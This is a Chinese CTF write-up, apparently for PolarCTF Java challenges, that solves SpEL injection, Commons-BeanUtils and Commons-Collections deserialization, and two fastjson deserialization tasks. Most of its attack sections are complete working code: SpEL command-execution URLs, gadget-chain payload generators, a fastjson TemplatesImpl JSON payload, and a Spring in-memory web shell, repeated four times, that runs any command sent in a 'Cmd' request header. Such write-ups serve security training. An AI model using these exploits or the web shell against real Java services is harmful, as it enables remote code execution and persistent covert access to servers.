ezjava
#Spel表达式注入
题目提示flag在/app/flag.txt
先把附件的jar包丢jadx看一下

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.example.demo.controller;
import org.springframework.expression.EvaluationContext; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.expression.spel.support.StandardEvaluationContext; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController;
@RequestMapping({"/SPEL"}) @RestController
public class spel { @RequestMapping({"/vul"}) public String spelVul(String ex) { ExpressionParser parser = new SpelExpressionParser(); EvaluationContext evaluationContext = new StandardEvaluationContext(); String result = parser.parseExpression(ex).getValue(evaluationContext).toString(); System.out.println(result); return result; } }
|
在 Spring MVC 中,public String spelVul(String ex)
里没有注解时,ex
会被当成 请求参数
一眼SpEL表达式注入,直接打就行
1
| /SPEL/vul?ex=T(java.lang.Runtime).getRuntime().exec("whoami")
|

但是命令执行结果并没有回显出来,因为exec函数本身就是会返回一个进程对象,所以需要读出来
1
| /SPEL/vul?ex=new+java.io.BufferedReader(new+java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec(%27whoami%27).getInputStream())).readLine()
|
注意这里需要URL编码,不然hackbar没法传

CB链
#CB链+内存马
如何处理jar包
这里讲一下如何处理题目中的jar包到IDEA中
- 把jar包放进jadx中并导出为伪代码到一个空目录jar

- 在sources目录下删除与题目源代码无关的目录文件

最后的效果

源码分析
先看依赖

存在CB链反序列化,并且CC的版本也是漏洞版本,可以打with CC的CB反序列化
跟进看一下org.example.controller.IndexController类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package org.example.controller;
import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import javax.servlet.http.HttpServletRequest; import org.example.User; import org.example.tools.Tools; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class IndexController { @RequestMapping({"/"}) @ResponseBody public String index(HttpServletRequest request) { String ipAddress = request.getHeader("X-Forwarded-For"); if (ipAddress == null) { ipAddress = request.getRemoteAddr(); } return "Welcome PolarCTF~ <br>Client IP Address: " + ipAddress; }
@RequestMapping({"/user"}) @ResponseBody public String getUser(String user) throws Exception { byte[] userBytes = Tools.base64Decode(user); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(userBytes)); User userObj = (User) in.readObject(); return userObj.getUserNicename(); } }
|
本来想反弹shell的,但是发现好像不出网,那就打内存马吧
POC
先写个反序列化的POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
import static org.example.tools.Tools.*;
public class POC { public static void main(String[] args) throws Exception { byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\23232\\Desktop\\附件\\jar\\out\\production\\jar\\Memshell.class")); TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);
BeanComparator comparator = new BeanComparator(); PriorityQueue queue = new PriorityQueue<Object>(2, comparator); queue.add(1); queue.add(2); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue,"queue",new Object[]{templates,templates}); String poc = base64Encode(serialize(queue)); System.out.println(poc); } public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception { Class c = object.getClass(); Field field = c.getDeclaredField(field_name); field.setAccessible(true); field.set(object, field_value); } public static Object getTemplates(byte[] bytes) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","a"); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); return templates; } }
|
然后写个内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Memshell extends AbstractTranslet { static { org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows")? new String[]{"cmd.exe", "/c", httprequest.getHeader("Cmd")} : new String[]{"/bin/sh", "-c", httprequest.getHeader("Cmd")}; byte[] result = new byte[0]; try { result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes(); } catch (IOException e) { throw new RuntimeException(e); } try { httpresponse.getWriter().write(new String(result)); } catch (IOException e) { throw new RuntimeException(e); } try { httpresponse.getWriter().flush(); } catch (IOException e) { throw new RuntimeException(e); } try { httpresponse.getWriter().close(); } catch (IOException e) { throw new RuntimeException(e); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|

成功反序列化打RCE
CC链
#CC链反序列化
先把jar包下下来反编译并放到idea中

很明显了,存在CC链反序列化
源码分析
看一下控制器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package org.polar.ctf.controller;
import org.polar.ctf.util.Tools; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class ReadController { @RequestMapping({"/read"}) @ResponseBody public String getObj(String obj) throws Exception { byte[] Bytes = Tools.base64Decode(obj); Object Obj = Tools.deserialize(Bytes); return Obj.toString(); } }
|
base64解码并调用deserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package org.polar.ctf.util;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.Base64;
public class Tools { public static byte[] base64Decode(String base64) { Base64.Decoder decoder = Base64.getDecoder(); return decoder.decode(base64); }
public static String base64Encode(byte[] bytes) { Base64.Encoder encoder = Base64.getEncoder(); return encoder.encodeToString(bytes); }
public static byte[] serialize(final Object obj) throws Exception { ByteArrayOutputStream btout = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(btout); objOut.writeObject(obj); return btout.toByteArray(); }
public static Object deserialize(final byte[] serialized) throws Exception { ByteArrayInputStream btin = new ByteArrayInputStream(serialized); ObjectInputStream objIn = new ObjectInputStream(btin); return objIn.readObject(); } }
|
没过滤的反序列化操作,先用URLDNS测试一下发现不出网,那就打内存马吧
POC
这里用CC3+CC6打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| package org.polar.ctf;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
import static org.polar.ctf.util.Tools.*;
public class EXP { public static void main(String[] args) throws Exception { byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\23232\\Desktop\\附件\\jar\\out\\production\\jar\\Memshell.class")); TemplatesImpl templates = (TemplatesImpl)getTemplates(bytes);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(),new ConstantTransformer("1")); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"2");
HashMap<Object,Object> hashmap = new HashMap<>(); hashmap.put(tiedMapEntry, "3"); lazyMap.remove("2");
setFieldValue(lazyMap,"factory",chainedTransformer);
String poc = base64Encode(serialize(hashmap)); System.out.println(poc); } public static Object getTemplates(byte[] bytes) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","a"); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); return templates; } public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception { Class c = object.getClass(); Field field = c.getDeclaredField(field_name); field.setAccessible(true); field.set(object, field_value); } }
|
内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Memshell extends AbstractTranslet { static { org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows")? new String[]{"cmd.exe", "/c", httprequest.getHeader("Cmd")} : new String[]{"/bin/sh", "-c", httprequest.getHeader("Cmd")}; byte[] result = new byte[0]; try { result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes(); } catch (IOException e) { throw new RuntimeException(e); } try { httpresponse.getWriter().write(new String(result)); } catch (IOException e) { throw new RuntimeException(e); } try { httpresponse.getWriter().flush(); } catch (IOException e) { throw new RuntimeException(e); } try { httpresponse.getWriter().close(); } catch (IOException e) { throw new RuntimeException(e); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|

ezJson
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| package com.polar.ctf.controller;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONObject; import java.io.ByteArrayInputStream; import java.io.InputStream; import java.io.ObjectInputStream; import java.util.Base64; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.servlet.tags.BindTag;
@Controller
public class ReadController { @RequestMapping({"/read"}) @ResponseBody public String getUser(String data) throws Exception { if (data == null) { throw new IllegalArgumentException("Data cannot be null"); } byte[] b = Base64.getDecoder().decode(data); if (b == null) { throw new IllegalArgumentException("Decoded data cannot be null"); } InputStream inputStream = new ByteArrayInputStream(b); if (inputStream == null) { throw new IllegalArgumentException("Input stream cannot be null"); } ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); Object obj = objectInputStream.readObject(); JSONArray dataArray = new JSONArray(); JSONObject item = new JSONObject(); item.put("code", (Object) 200); item.put(BindTag.STATUS_VARIABLE_NAME, (Object) "success"); item.put("obj", (Object) JSON.toJSONString(obj)); dataArray.add(item); return dataArray.toJSONString(); } }
|

高版本的fastjson,有反序列化的点那就打fastjson原生反序列化
POC
用map去绕过高版本的安全机制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| package com.polar.ctf;
import com.alibaba.fastjson.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap;
public class Poc { public static void main(String[] args) throws Exception { byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\23232\\Desktop\\附件\\jar\\out\\production\\jar\\Memshell.class")); TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setFieldValue(badAttributeValueExpException,"val",jsonArray);
HashMap map = new HashMap(); map.put(templates, badAttributeValueExpException);
serialize(map); }
public static Object getTemplates(byte[] bytes) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","a"); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); return templates; }
public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception { Class c = object.getClass(); Field field = c.getDeclaredField(field_name); field.setAccessible(true); field.set(object, field_value); } public static void serialize(Object object) throws Exception{ ByteArrayOutputStream data = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(data); oos.writeObject(object); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); } }
|
内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Memshell extends AbstractTranslet { static { org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows")? new String[]{"cmd.exe", "/c", httprequest.getHeader("Cmd")} : new String[]{"/bin/sh", "-c", httprequest.getHeader("Cmd")}; byte[] result = new byte[0]; try { result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes(); } catch (IOException e) { throw new RuntimeException(e); } try { httpresponse.getWriter().write(new String(result)); } catch (IOException e) { throw new RuntimeException(e); } try { httpresponse.getWriter().flush(); } catch (IOException e) { throw new RuntimeException(e); } try { httpresponse.getWriter().close(); } catch (IOException e) { throw new RuntimeException(e); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|

Fastjson
看依赖

低版本的fastjson
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package org.polarctf;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.Feature; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class JsonController { @RequestMapping(value = {"/"}, method = {RequestMethod.GET}, produces = {"application/json;charset=UTF-8"}) @ResponseBody public Object getUser() { User user = new User(); user.setName("Polar D&N ~!"); user.setId("2022"); return user; }
@RequestMapping(value = {"/"}, method = {RequestMethod.POST}, produces = {"application/json;charset=UTF-8"}) @ResponseBody public Object setUser(@RequestBody String jsonString) { System.out.println(jsonString); JSONObject jsonObject = JSON.parseObject(jsonString, Feature.SupportNonPublicField); User user = (User) jsonObject.toJavaObject(User.class); user.setId("2023"); return user; } }
|
有一个parseObject反序列化函数,打fastjson序列化
POC
TemplatesImpl+内存马
内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Memshell extends AbstractTranslet { static { org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows")? new String[]{"cmd.exe", "/c", httprequest.getHeader("Cmd")} : new String[]{"/bin/sh", "-c", httprequest.getHeader("Cmd")}; byte[] result = new byte[0]; try { result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes(); } catch (IOException e) { throw new RuntimeException(e); } try { httpresponse.getWriter().write(new String(result)); } catch (IOException e) { throw new RuntimeException(e); } try { httpresponse.getWriter().flush(); } catch (IOException e) { throw new RuntimeException(e); } try { httpresponse.getWriter().close(); } catch (IOException e) { throw new RuntimeException(e); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64;
public class POC { public static void main(String[] args) throws IOException { byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\23232\\Desktop\\附件\\jar\\out\\production\\jar\\Memshell.class")); String base64_code = Base64.getEncoder().encodeToString(bytes);
String Payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," + "\"_bytecodes\":[\""+base64_code+"\"]," + "\"_name\":\"test\"," + "\"_tfactory\":{}," + "\"_outputProperties\":{}" + "}\n";
System.out.println(Payload); } }
|
前面抓的GET包忘记改Content-Type了,一直没打通
